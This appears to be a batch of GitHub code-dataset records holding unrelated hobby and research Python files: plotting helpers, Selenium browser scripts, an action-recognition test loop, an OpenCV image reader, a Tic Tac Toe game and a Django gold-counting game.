g.ax_heatmap.set_xticklabels(g.ax_heatmap.get_xmajorticklabels(), fontsize=fontsize)\n g.ax_heatmap.set_yticklabels(g.ax_heatmap.get_ymajorticklabels(), fontsize=fontsize)\n g.cax.set_ylabel(cbar_label, fontsize=fontsize)\n g.cax.yaxis.set_ticks_position(\"left\")\n g.cax.yaxis.set_label_position('left')\n dendro_box = g.ax_row_dendrogram.get_position()\n dendro_box.x0 = (dendro_box.x0 + 2 * dendro_box.x1) / 3 -0.01\n dendro_box.x1 = dendro_box.x1-0.01\n g.cax.set_position(dendro_box)\n\n return g\n\n#################\n# BAR PLOTTER #\n#################\n\ndef barPlotter( dataframe, colors, custom_Axe=None,\n columns=None, figsize=None, errorbars=None, rotation=90,\n hatch=None, grid=False, legend=False, lw=1 ) :\n '''\n '''\n \n # >>>>>>>>>>>>>>>>>>>\n # OPTIONS LOADING #\n # >>>>>>>>>>>>>>>>>>>\n \n # dataframe\n df = dataframe.copy()\n \n # columns\n if columns is not None :\n if np.any( [c not in df.columns for c in columns] ) :\n raise KeyError( \"Some requested `columns` are not in `dataframe`.\" )\n else : # default\n columns = df.columns.values\n \n # colors \n # NOTE: a nice way to make this variable optional?\n if not np.all( [is_color_like(c) for c in colors] ) :\n raise IOError( \"Some provided `colors` are not recognized.\" )\n if len(colors) == 1 :\n colors = list(colors) * len(columns)\n elif len(colors) < len(columns) :\n colors = list(colors) * int( 1+np.ceil( len(columns)/len(colors)-1 ) )\n colors = colors[:len(columns)]\n \n # figsize\n if figsize is not None :\n if type(figsize) != tuple or len(figsize) != 2 :\n raise IOError( \"Wrong choice for `figsize` format.\" )\n else : # default \n figsize = ( int(0.75*len(df.index)), 4 )\n \n # errorbars\n if errorbars is not None :\n for c in errorbars :\n if (c is not None) and ( c not in df.columns ) :\n raise KeyError( f\"requested errorbar `{c}` is not in dataframe.\" )\n else :\n errorbars = [None] * len(columns)\n # rotation\n rotation = int(rotation)\n \n # hatch\n if hatch is not None :\n if len(hatch) == 1 :\n hatch = list(hatch) * len(columns)\n elif len(hatch) < len(columns) :\n hatch = list(hatch) * int( 1+np.ceil( len(columns)/len(hatch)-1 ) )\n hatch = hatch[:len(columns)]\n else :\n hatch = [''] * len(columns)\n \n # grid\n grid = bool(grid)\n \n # legend\n legend = bool(legend)\n \n \n # >>>>>>>>>>>>\n # PLOTTING #\n # >>>>>>>>>>>> \n if custom_Axe is None :\n fig, ax = plt.subplots( nrows=1, ncols=1, figsize=figsize,\n subplot_kw={'adjustable':'box'} )\n else :\n ax = custom_Axe\n\n x = np.arange(0.5, len(df.index)+0.5)\n breaks = np.linspace(0, 1, len(columns)+2) - 0.5\n width = breaks[1] - breaks[0]\n\n ylim_min, ylim_max = [], []\n for i, col in enumerate(columns) :\n ax.bar( x + breaks[i+1], df[col], hatch=hatch[i], edgecolor='white', lw=lw,\n width=width, color=colors[i], label=col, zorder=1 ) \n\n if errorbars[i] is not None :\n err_col = errorbars[i]\n ax.errorbar( x + breaks[i+1], df[col], yerr=df[err_col], lw=lw,\n ls=\"\", color=\"black\", fmt='', label=\"\")\n ylim_min.append( np.min( df[col] - df[err_col] ) )\n ylim_max.append( np.max( df[col] + df[err_col] ) )\n else :\n ylim_min.append( np.min( df[col] ) )\n ylim_max.append( np.max( df[col] ) )\n \n # lim\n ax.set_xlim( [x[0]-0.75, x[-1]+0.75] )\n ax.set_ylim( [ 0.99 * np.min( ylim_min ), 1.01* np.max( ylim_max ) ] )\n \n # ticks\n ax.set_xticks( x )\n ax.set_xticklabels( df.index, rotation=rotation )\n\n # grid\n if grid is True :\n ax.yaxis.grid(which=\"both\", color=_greys_dic_[\"silver\"], ls='--', zorder=-10)\n ax.set_axisbelow(True)\n\n # legend\n \n if legend is True :\n plt.legend(loc=\"center left\", ncol=1, \n shadow=False, edgecolor='inherit', framealpha=1, bbox_to_anchor=(1,.5))\n\n return ax\n###\n\n\n\n###################\n# CURVE PLOTTER #\n###################\n\ndef curvePlotter( dataframe, colors, custom_Axe=None,\n columns=None, figsize=None, errorbars=None, markerstyle=\"o\",\n grid=False, legend=False, linestyle=\"-\", fill_error=False, zorder=None, lw=1 ) :\n '''\n '''\n \n # >>>>>>>>>>>>>>>>>>>\n # OPTIONS LOADING #\n # >>>>>>>>>>>>>>>>>>>\n \n # dataframe\n df = dataframe.copy()\n \n # columns\n if columns is not None :\n if np.any( [c not in df.columns for c in columns] ) :\n raise KeyError( \"Some requested `columns` are not in `dataframe`.\" )\n else : # default\n columns = df.columns.values\n \n # colors \n # NOTE: a nice way to make this variable optional?\n if not np.all( [is_color_like(c) for c in colors] ) :\n raise IOError( \"Some provided `colors` are not recognized.\" )\n if len(colors) == 1 :\n colors = list(colors) * len(columns)\n elif len(colors) < len(columns) :\n colors = list(colors) * int( 1+np.ceil( len(columns)/len(colors)-1 ) )\n colors = colors[:len(columns)]\n \n # figsize\n if figsize is not None :\n if type(figsize) != tuple or len(figsize) != 2 :\n raise IOError( \"Wrong choice for `figsize` format.\" )\n else : # default \n figsize = ( 6, 4 )\n\n # markerstyle \n if len(markerstyle) == 1 :\n markerstyle = list(markerstyle) * len(columns)\n elif len(markerstyle) < len(columns) :\n markerstyle = list(markerstyle) * int( 1+np.ceil( len(columns)/len(markerstyle)-1 ) )\n markerstyle = markerstyle[:len(columns)]\n\n # linestyle \n if len(linestyle) == 1 :\n linestyle = list(linestyle) * len(columns)\n elif len(linestyle) < len(columns) :\n linestyle = list(linestyle) * int( 1+np.ceil( len(columns)/len(linestyle)-1 ) )\n linestyle = linestyle[:len(columns)]\n \n # errorbars\n if errorbars is not None :\n if np.any( [c not in df.columns for c in errorbars] ) :\n raise KeyError( \"Some requested `errorbars` are not in `dataframe`.\" )\n\n # zorder\n if zorder is None :\n zorder = [1] * len(columns) \n elif len(zorder) == 1 :\n zorder = list(zorder) * len(columns)\n elif len(zorder) < len(columns) :\n zorder = list(zorder) * int( 1+np.ceil( len(columns)/len(zorder)-1 ) )\n zorder = zorder[:len(columns)]\n\n # grid\n grid = bool(grid)\n \n # legend\n legend = bool(legend)\n\n # >>>>>>>>>>>>\n # PLOTTING #\n # >>>>>>>>>>>> \n if custom_Axe is None :\n fig, ax = plt.subplots( nrows=1, ncols=1, figsize=figsize,\n subplot_kw={'adjustable':'box'} )\n else :\n ax = custom_Axe\n\n x = df.index.values\n\n ylim_min, ylim_max = [], []\n for i, col in enumerate(columns) :\n y = df[col]\n ax.plot( x, y, linestyle=linestyle[i], lw=lw, marker=markerstyle[i],\n color=colors[i], label=col, zorder=zorder[i] ) \n\n if errorbars is not None :\n err_col = errorbars[i]\n yerr = df[err_col]\n if fill_error is True :\n ax.fill_between( x, y-yerr, y+yerr, color=colors[i], alpha=0.5, edgecolor=None, zorder=zorder[i], )\n \n ax.errorbar( x, y, yerr=yerr, label=col, zorder=zorder[i], \n ls=linestyle[i], lw=lw, color=colors[i], fmt='' )\n \n ylim_min.append( np.min( y - yerr ) )\n ylim_max.append( np.max( y + yerr ) )\n\n else :\n ylim_min.append( np.min( y ) )\n ylim_max.append( np.max( y ) )\n # lim\n ax.set_ylim( [ 0.98 * np.min( ylim_min ), 1.02* np.max( ylim_max ) ] )\n \n # grid\n if grid is True :\n ax.yaxis.grid(which=\"both\", color=_greys_dic_[\"silver\"], ls='--', zorder=-10)\n ax.set_axisbelow(True)\n\n # legend\n \n if legend is True :\n plt.legend(loc=\"center left\", ncol=1, \n shadow=False, edgecolor='inherit', framealpha=1, bbox_to_anchor=(1,.5))\n\n return ax\n###\n\n\n###################\n# HEATMAP TABLE #\n###################\n\n# FIXME:\n\ndef heatmap_table( df, notes=None, cmap=cm.magma, norm=Normalize(vmin=0, vmax=1), figsize=None, digits=3, diagonal=False ) : \n\n fig, ax = plt.subplots( figsize=figsize )\n this_im = ax.imshow( df.values, cmap=cmap, norm=norm, aspect='auto', interpolation='nearest', origin='upper' )\n df = df.fillna(\"NaN\")\n\n if notes is not None :\n assert np.all(notes.index == df.index)\n assert np.all(notes.shape == df.shape)\n else :\n notes = df.applymap( lambda x : f\"{x:.{digits}f}\" if x != \"NaN\" else \"NaN\" )\n\n for idxNeg, idxPos in product( range(df.shape[0]), range(df.shape[1])) : \n LabPos = df.index[idxPos]\n LabNeg = df.index[idxNeg]\n \n note = notes.at[LabPos,LabNeg]\n if df.at[LabPos,LabNeg] != \"NaN\" :\n ax.annotate( note, (idxNeg, idxPos), ha='center', va='center', color='black' )\n \n # diagonal\n if diagonal is True :\n for idx in np.arange(len(df)) : \n Lab = df.index[idx]\n ax.annotate( Lab, (idx - .3, idx), ha='left', va='center', color='black' )\n \n ax.set_xticks(np.arange(-.5, len(df)+1, 1), minor=True)\n ax.set_yticks(np.arange(-.5, len(df)+1, 1), minor=True)\n ax.grid(which='minor', color='white', linestyle='-', linewidth=2)\n\n plt.tick_params( axis='x', which='both', bottom=False, top=False, labelbottom=False )\n plt.tick_params( axis='y', which='both', left=False, right=False, labelleft=False )\n\n ax.set_yticks\n _ = [ ax.spines[w].set_visible(False) for w in ax.spines ]\n \n return ax, this_im\n\n###################\n# HEATMAP TABLE #\n###################\n\n# FIXME:\n\ndef heatmap_serie( df, notes=None, cmap=cm.magma, norm=Normalize(vmin=0, vmax=1), figsize=None, digits=3 ) :\n \n fig, ax = plt.subplots( figsize=figsize )\n this_im = ax.imshow(\n [ df.values, [np.nan] *len(df.values) ],\n cmap=cmap, norm=norm, aspect='auto', interpolation='nearest', origin='upper' )\n df = df.fillna(\"NaN\")\n\n if notes is not None :\n assert np.all(notes.index == df.index)\n assert np.all(notes.shape == df.shape)\n else :\n notes = pd.Series( [ f\"{x:.{digits}f}\" for x in df.values ], index=df.index )\n\n for idx in np.arange(len(df)) : \n Lab = df.index[idx]\n \n note = notes.at[Lab]\n if note != \"NaN\" :\n ax.annotate( note, (idx, 0), ha='center', va='center', color='black' )\n\n Lab = df.index[idx]\n ax.annotate( Lab, (idx, 1), ha='center', va='center', color='black' )\n\n ax.set_xticks(np.arange(-.5, len(df), 1), minor=True)\n ax.grid(which='minor', color='white', linestyle='-', linewidth=2)\n\n plt.tick_params( axis='x', which='both', bottom=False, top=False, labelbottom=False )\n plt.tick_params( axis='y', which='both', left=False, right=False, labelleft=False )\n\n ax.set_yticks\n _ = [ ax.spines[w].set_visible(False) for w in ax.spines ]\n \n return ax, this_im","repo_name":"camacesco/thym-mat-project","sub_path":"thymmatu/graphics/pro_plot.py","file_name":"pro_plot.py","file_ext":"py","file_size_in_byte":12809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39457772149","text":"from selenium.webdriver import Chrome\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.keys import Keys\nimport time\ndriver = Chrome\n\nwith Chrome() as driver:\n driver.get(\"https://www.w3schools.com/\")\n driver.maximize_window()\n url = driver.current_url\n title = driver.title\n print(title)\n print(url)\n\n #ActionChains(driver).move_to_element(driver.find_element_by_xpath('//a[@href=\"'+\"/python/default.asp\"+'\"]')).perform()\n select_python_class = driver.find_element_by_xpath('//a[@href=\"'+\"/python/default.asp\"+'\"]').click()\n time.sleep(3)\n start_python_class = driver.find_element_by_xpath('//a[@href=\"'+\"python_intro.asp\"+'\"]').click()\n time.sleep(3)\n ActionChains(driver).move_to_element(driver.find_element_by_xpath('//a[@href=\"'+\"python_getstarted.asp\"+'\"]')).perform()\n time.sleep(3)\n next_lesson = driver.find_element_by_xpath('//a[@href=\"'+\"python_getstarted.asp\"+'\"]').click()\n time.sleep(3)\n ActionChains(driver).move_to_element(driver.find_element_by_xpath('//a[@href=\"'+\"trypython.asp?filename=demo_helloworld\"+'\"]')).perform()\n time.sleep(3)\n try_yourself = driver.find_element_by_xpath('//a[@href=\"'+\"trypython.asp?filename=demo_helloworld\"+'\"]').click()\n time.sleep(3)\n #text = driver.find_element_by_xpath(\"/html/body/div[4]/div[3]/div/div/div/div[6]/div[1]/div/div/div/div[5]/pre[2]/span\")\n #text.clear()\n #time.sleep(5)\n #click_button = driver.find_element_by_xpath(\"/html/body/div[2]/div/button[2]\").click()\n #time.sleep(3)\n #click_button = driver.find_element_by_css_selector(\"body > div.trytopnav > div > button.w3 - button.w3 - bar - item.w3 - green.w3 - hover - white.w3 - hover - text - green\")\n #time.sleep(3)\n\n #try_yourself_close = driver.close()\n #driver.switch_to().python_get_started(\"Python Getting Started\")\n #driver.find_element_by_xpath('//a[@href=\"'+\"python_getstarted.asp\"+'\"]')\n #driver.switch_to_default_content()\n #time.sleep(3)\n\n driver.get(\"https://www.w3schools.com/python/python_getstarted.asp\")\n time.sleep(3)\n driver.find_element_by_xpath('//a[@href=\"'+\"python_syntax.asp\"+'\"]')\n time.sleep(3)","repo_name":"JuliaHakobyan/test_projects","sub_path":"w3schools/pages/learning.py","file_name":"learning.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29067359192","text":"import numpy as np\n\nimport tensorflow as tf\nimport os\nimport csv\n\nimport sys\n\nframe20 = ['frame_5.', 'frame_6.', 'frame_7.', 'frame_8.', 'frame_9.', 'frame_10.', 'frame_11.', 'frame_12.', 'frame_13.', 'frame_14.', 'frame_15.', 'frame_16.', 'frame_17.', 'frame_18.', 'frame_19.', 'frame_20.']\nframe30 = ['frame_5.', 'frame_6.', 'frame_7.', 'frame_8.', 'frame_9.', 'frame_10.', 'frame_11.', 'frame_12.', 'frame_13.', 'frame_14.', 'frame_15.', 'frame_16.', 'frame_17.', 'frame_18.', 'frame_19.', 'frame_20.', 'frame_21.', 'frame_22.', 'frame_23.', 'frame_24.', 'frame_25.', 'frame_26.', 'frame_27.', 'frame_28.', 'frame_29.', 'frame_30.']\n\nactions = ['a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7', 'a8', 'a9', 'a10']\n\n# models = ['cross_with_s6_after_frame_20.h5', 'cross_with_s6_after_frame_30.h5', 'cross_with_s4_after_frame_20.h5',\n# 'cross_with_s4_after_frame_30.h5', 'cross_with_s5_after_frame_20.h5', 'cross_with_s5_after_frame_30.h5']\n\n# models = ['cross_with_s4_after_frame_20.h5', 's4-20_P001-P043.h5']\n\nmodels = ['cross_with_s4_after_frame_20.h5']\n\n# actionLists = [['A023'], ['A007'], ['A094'], ['A007', 'A094'], ['A012'], ['A050'], ['A010']]\n#\n# oldActIdxs = [[0, 6], [2], [2], [2], [3, 4, 5], [7], [9]]\n\nactionLists = ['A023', 'A007', 'A050', 'A010']\n\noldActIdxs = [[0, 6], [2], [7], [9]]\n\n# print('Action list: ', actionLists[3])\n# print(len(actionLists))\n# print(len(oldActIdxs))\n\ndirectory = os.listdir('NTURGB-D_120_Code/Python/raw_npy')\n\nf = open('outputLog_20_2.txt', \"a\")\n\n# f.write('Action list: {}\\n'.format(actionLists[3]))\n# f.write('Old indexes: {}'.format(oldActIdxs[0]))\n\nfor fileName in models:\n\n model = tf.keras.models.load_model('EANN_DATA/' + fileName)\n\n f.write('*******************************************\\n')\n f.write('Model: {}\\n'.format(fileName))\n f.flush()\n\n corrSeqM = 0\n allSeqM = 0\n\n for idx in range(len(actionLists)):\n\n x_test = np.empty((1, 180, 180, 1))\n\n corrSeq = 0\n allSeq = 0\n\n counter = 0\n\n for sdir in directory:\n\n counter = counter + 1\n\n typeStr = fileName + ' - ' + actionLists[idx] + ': testing ' + str(counter) + '/' + str(len(directory)) + '...'\n print(typeStr, end=\"\\r\")\n\n sdirSTR = 'NTURGB-D_120_Code/Python/raw_npy/' + sdir\n if '_NPZ' in sdirSTR and sum(x in sdirSTR for x in actionLists[idx]) != 0:\n votes = np.zeros(10, dtype=int)\n # corr = 0\n count = 0\n # print('Action ' + sdirSTR + ' ------')\n subdir = os.listdir(sdirSTR)\n for fname in subdir:\n if sum(x in fname for x in frame20) == 0:\n data = np.load(sdirSTR + '/' + fname)\n x_test[0, :, :, 0] = data['sino']\n prediction = model.predict(x_test)\n # print('--- Found: ' + str(np.argmax(prediction)))\n # corr = data['clNum'] - 1\n # print('--- Correct: ' + str(corr))\n count = count + 1\n votes[np.argmax(prediction)] = votes[np.argmax(prediction)] + 1\n probabilities = votes / count\n # print(votes)\n # print(probabilities)\n # print(prediction[0])\n # input(\"Next sequence...?\")\n if np.argmax(votes) in oldActIdxs[idx]:\n corrSeq = corrSeq + 1\n corrSeqM = corrSeqM + 1\n allSeq = allSeq + 1\n allSeqM = allSeqM + 1\n f.write('-------------------------------------------\\n')\n f.write('Action list: {}\\n'.format(actionLists[idx]))\n f.write('Old indexes: {}\\n'.format(oldActIdxs[idx]))\n f.write('FINAL ACC: {}\\n'.format(str(corrSeq/allSeq)))\n f.flush()\n\n f.write('-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\\n')\n f.write('MODEL ACC: {}\\n'.format(str(corrSeqM / allSeqM)))\n f.flush()\n\nf.close()\n","repo_name":"GTsatiris/RadonMahalCNN","sub_path":"testNTURGBD.py","file_name":"testNTURGBD.py","file_ext":"py","file_size_in_byte":4039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22309422833","text":"a = int(input(\"첫 번째 숫자를 입력하세요\"))\nb = int(input(\"두 번째 숫자를 입력하세요\"))\nd = 0\n\nfor i in range(a, b+1):\n c = 0\n for j in range(2, i):\n if i % j == 0:\n c = 1\n\n if c == 0:\n d = d + 1\n print(\"{}는 소수입니다.\".format(i))\n else:\n print(\"{}는 소수가 아닙니다.\".format(i))\nprint(\"소수의 개수는 {}입니다.\".format(d))","repo_name":"Headfish96/PY4E_Boostcourse","sub_path":"W3Q4_prime_number_my_code.py","file_name":"W3Q4_prime_number_my_code.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8544781600","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jan 5 18:58:59 2020\r\n\r\n@author: kasy\r\n\"\"\"\r\n\r\nimport cv2\r\nimport os\r\n\r\nlabel_path = './data/ground_truths/EX/IDRiD_10_EX.tif'\r\ndata_path = './data/images/IDRiD_10.jpg'\r\n\r\n\r\nlabel = cv2.imread(label_path)[ 537:(537+128), 1890:(1890+196),2]\r\ndata = cv2.imread(data_path)[537:(537+128), 1890:(1890+196), :]\r\n\r\nif not os.path.exists('./tmp/'):\r\n os.makedirs('./tmp/')\r\n\r\ncv2.imwrite('./tmp/sample_label.jpg', label)\r\ncv2.imwrite('./tmp/sample_data.jpg', data)\r\n","repo_name":"leigaoyi/DR_lesion","sub_path":"crop_test.py","file_name":"crop_test.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34149979821","text":"import cv2\nimport numpy as np\n\nfrom imgProcessor.transformations import transpose\n#OWN\nfrom dataArtist.input.reader._ReaderBase import ReaderBase, ReaderPreferences\n\n\n \n \nclass ImageWithOpenCV(ReaderBase):\n '''\n Read all kind of images using openCV (excluding stacked tif)\n '''\n axes = ['x', 'y', ''] \n preferred=True \n\n ftypes = ('bmp','dib', #Windows bitmaps\n 'jpeg', 'jpg', 'jpe', #JPEG files\n 'jp2', #JPEG 2000\n 'png', #Portable Network Graphics\n 'pbm', 'pgm', 'ppm', #Portable image format\n 'sr', 'ras', #Sun rasters\n 'tiff', 'tif' #TIFF files\n )\n\n\n def __init__(self, *args, **kwargs):\n ReaderBase.__init__(self, *args, **kwargs)\n self.preferences = _ImagePreferences()\n\n\n @staticmethod \n def check(ftype, fname): \n return ftype in ImageWithOpenCV.ftypes\n \n\n def open(self, filename):\n p = self.preferences\n #open in 8 bit? \n if p.p8bit.value():\n col = 0\n else: \n col = cv2.IMREAD_ANYDEPTH\n if p.pGrey.value() and not p.pSplitColors.value():\n col = col | cv2.IMREAD_GRAYSCALE\n else:\n col |= cv2.IMREAD_ANYCOLOR\n\n #OPEN\n img = cv2.imread(str(filename), col) #cv2.IMREAD_UNCHANGED)\n if img is None:\n raise Exception(\"image '%s' doesn't exist\" %filename)\n #due to different conventions:\n img = transpose(img) \n \n #crop\n if p.pCrop.value():\n r = (p.pCropX0.value(),\n p.pCropX1.value(),\n p.pCropY0.value(),\n p.pCropY1.value())\n img = img[r[0]:r[1],r[2]:r[3]]\n \n #resize \n if p.pResize.value():\n img = cv2.resize(img, (p.pResizeX.value(), p.pResizeY.value())) \n\n labels = None\n if img.ndim == 3:\n if p.pSplitColors.value():\n img = np.transpose(img, axes=(2,0,1))\n labels = ['blue', 'green','red']\n else:\n #rgb convention\n img = cv2.cvtColor(img, cv2.cv.CV_BGR2RGB)\n\n #change data type to float\n img = self.toFloat(img) \n return img, labels\n\n \n\n\n\nclass _ImagePreferences(ReaderPreferences):\n \n def __init__(self, name=' Image import'):\n \n ReaderPreferences.__init__(self, name=name)\n# \n# self.pToFloat = self.addChild({\n# 'name':'transform to float',\n# 'type':'bool',\n# 'value':True})\n# self.pForceFloat64 = self.pToFloat.addChild({\n# 'name':'Force double precision (64bit)',\n# 'type':'bool',\n# 'value':False})\n# self.pToFloat.sigValueChanged.connect(lambda p,v:\n# self.pForceFloat64.show(v))\n self.pGrey = self.addChild({\n 'name':'Force grayscale',\n 'type':'bool',\n 'value':False})\n self.pSplitColors = self.pGrey.addChild({\n 'name':'Split color channels',\n 'type':'bool',\n 'value':False,\n 'visible':False})\n self.pGrey.sigValueChanged.connect(lambda p,v:\n self.pSplitColors.show(v))\n self.p8bit = self.addChild({\n 'name':'8bit',\n 'type':'bool',\n 'value':False})\n self.pCrop = self.addChild({\n 'name':'crop',\n 'type':'bool',\n 'value':False})\n fn = lambda param, value, self=self: [ch.show(value) for ch in param.children()]\n self.pCrop.sigValueChanged.connect(fn) \n\n pX = self.pCrop.addChild({\n 'name':'x',\n 'type':'empty'}) \n self.pCropX0 = pX.addChild({\n 'name':'start',\n 'type':'int',\n 'value':0}) \n self.pCropX1 = pX.addChild({\n 'name':'stop',\n 'type':'int',\n 'value':500}) \n pY = self.pCrop.addChild({\n 'name':'y',\n 'type':'empty'}) \n self.pCropY0 = pY.addChild({\n 'name':'start',\n 'type':'int',\n 'value':0}) \n self.pCropY1 = pY.addChild({\n 'name':'stop',\n 'type':'int',\n 'value':500}) \n fn(self.pCrop, self.pCrop.value()) \n\n self.pResize = self.addChild({\n 'name':'resize',\n 'type':'bool',\n 'value':False})\n fn = lambda param, value, self=self: [ch.show(value) for ch in param.children()]\n self.pResize.sigValueChanged.connect(fn) \n self.pResizeX = self.pResize.addChild({\n 'name':'width',\n 'type':'int',\n 'value':100}) \n self.pResizeY = self.pResize.addChild({\n 'name':'height',\n 'type':'int',\n 'value':100})\n fn(self.pResize, self.pResize.value()) ","repo_name":"VaporC/dataArtist","sub_path":"dataArtist/input/reader/ImageWithOpenCV.py","file_name":"ImageWithOpenCV.py","file_ext":"py","file_size_in_byte":5123,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"26542708115","text":"print('Welcom to Tic Tac Toe!')\r\n\r\nx = 'X'\r\no = 'O'\r\ne = ' '\r\n\r\nboard = [e,e,e,e,e,e,e,e,e]\r\n\r\ndef checkForInput(n):\r\n return n>=1 and n<=9 and board[n-1] == e\r\n\r\ndef printBoard():\r\n print('_{}_|_{}_|_{}_'.format(board[0],board[1],board[2]))\r\n print('_{}_|_{}_|_{}_'.format(board[3],board[4],board[5]))\r\n print(' {} | {} | {} '.format(board[6],board[7],board[8]))\r\n \r\n\r\ndef checkWin():\r\n for i in range(0,7,3):\r\n if(board[i] == board[i+1] and board[i+1] == board[i+2]):\r\n return board[i]\r\n for i in [0,1,2]:\r\n if(board[i] == board[i+3] and board[i+3] == board[i+6]):\r\n return board[i]\r\n if(board[0] == board[4] and board[4] == board[8]):\r\n return board[0]\r\n if(board[2] == board[4] and board[4] == board[8]):\r\n return board[2]\r\n return e\r\n\r\ndef gameLoop():\r\n turn = 1\r\n player1 = input('Player 1, Enter your option X or O: ')\r\n gameWon = True\r\n if(player1 == x):\r\n print('Player 1 will go first!')\r\n option1 = x\r\n option2 = o\r\n else:\r\n print('Player 2 will go first!')\r\n turn *=-1\r\n option2 = x\r\n option1 = o\r\n option1 = None\r\n option2 = None\r\n gameWon = False\r\n while(1):\r\n printBoard()\r\n if(turn == 1):\r\n place = int(input('Player 1: Enter any num (1-9)'))\r\n if(checkForInput):\r\n board[place-1] = option1 \r\n else:\r\n place = int(input('Player 2: Enter any num (1-9)'))\r\n if(checkForInput):\r\n board[place-1] = option2\r\n winner = checkWin()\r\n if(winner!=e):\r\n gameWon = True\r\n if(winner == option1):\r\n print('Congrats to Player 1')\r\n else:\r\n print('Congrats to Player 2')\r\n if(gameWon == True):\r\n playAgain = ('Do you want to play again (y\\n)')\r\n if(playAgain == 'y'):\r\n gameLoop()\r\n turn *= -1\r\n\r\ngameLoop()","repo_name":"freckles30/hacktober-fest-py","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"29169509385","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n\nPATH = \"C:\\Program Files (x86)\\chromedriver.exe\"\ndriver = webdriver.Chrome(PATH)\ndriver.get(\"https://jqueryui.com/resources/demos/progressbar/download.html\")\ndriver.implicitly_wait(30)\n\ndownloadButton = driver.find_element(\"id\", \"downloadButton\")\ndownloadButton.click()\n\n\nprogress_label = driver.find_element(\"class name\", \"progress-label\")\n\nWebDriverWait(driver, 30).until(\n EC.text_to_be_present_in_element(\n (By.CLASS_NAME, 'progress-label'), 'Complete!'\n )\n)\n\n\ninput(\"\")\ndriver.quit()\n","repo_name":"ROM132/Selenium-Project","sub_path":"download button.py","file_name":"download button.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5461511736","text":"from django.shortcuts import render, redirect\nimport random\nimport datetime\n\ndef index(request):\n if request.session.get('gold') == None:\n request.session['gold'] = 0\n if request.session.get('log') == None:\n request.session['log'] = ''\n return render(request, 'ninjaGold_app/index.html')\n\ndef process_money(request):\n now = datetime.datetime.now()\n if 'farm' in request.POST:\n randomNum = random.randrange(10,21)\n place = 'farm!'\n if 'cave' in request.POST:\n randomNum = random.randrange(5,11)\n place = 'cave!'\n if 'house' in request.POST:\n randomNum = random.randrange(2,6)\n place = 'house!'\n if 'casino' in request.POST:\n randomNum = random.randrange(-50,51)\n place = 'casino!'\n\n # update gold counter\n request.session['gold'] += randomNum\n # if lost money, show log in red color\n if randomNum < 0:\n request.session['log'] = '

    Lost ' + str(abs(randomNum)) +' gold from casino! ' +str(now.strftime('%Y/%m/%d %H:%M')) + '

    ' + request.session['log']\n # else if gained money, show log in green color\n else:\n request.session['log'] = '

    Earned ' + str(randomNum) +' gold from ' + place + ' ' + str(now.strftime('%Y/%m/%d %H:%M')) + '

    ' + request.session['log']\n # if gold count is less than 0, keep at 0\n if request.session['gold'] < 0:\n request.session['gold'] = 0\n return redirect('/')\n","repo_name":"ericklui678/django_ninjaGold","sub_path":"apps/ninjaGold_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7046968082","text":"import time\nfrom threading import Thread\n\nclass MyThread(Thread):\n\n def __init__(self, bignum):\n Thread.__init__(self)\n self.bignum = bignum\n\n def run(self):\n for i in range(10):\n for j in range(self.bignum):\n res = 0\n for k in range(self.bignum):\n res += 1\n\ndef test():\n bignum = 1000\n thread = MyThread(bignum)\n thread.start()\n thread.join()\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"pkuhad/python-stunts","sub_path":"gevents/thread-2.py","file_name":"thread-2.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71783882172","text":"import numpy as np\nimport pandas as pd\nimport plotly.graph_objects as go\nfrom AppData import app_data\nfrom plotly.subplots import make_subplots\n\n\ndef get_metrics():\n return [\n f'{app_data.tnr*100:.0f}%',\n f'{app_data.fpr*100:.0f}%',\n f'{app_data.fdr*100:.0f}%',\n f'{app_data.fnr*100:.0f}%',\n f'{app_data.tpr*100:.0f}%',\n f'{app_data.npv*100:.0f}%',\n f'{app_data.roc_auc*100:.0f}%',\n f'{app_data.f1_beta*100:.0f}%',\n f'{app_data.ppv*100:.0f}%',\n ]\n\n\ndef plot_models_performance():\n fig = go.Figure()\n\n fig.add_trace(\n go.Scatter(\n y=app_data.roc_auc_scores,\n x=app_data.model_ids,\n line=dict(width=3),\n mode='lines+markers',\n marker=dict(size=10),\n ),\n )\n\n fig.update_xaxes(title='Model')\n fig.update_yaxes(title='ROC AUC')\n\n fig.update_layout(\n paper_bgcolor='rgb(48, 48, 48)',\n plot_bgcolor='rgb(48, 48, 48)',\n hovermode='x unified',\n margin=dict(l=0, r=0, t=15, b=60),\n font=dict(color='rgb(242, 242, 242)', family='Inter'),\n xaxis=dict(\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n yaxis=dict(\n showline=True,\n linewidth=1,\n linecolor='rgb(242, 242, 242)',\n ),\n )\n\n return fig\n\n\ndef plot_predict_proba():\n fig = go.Figure()\n\n 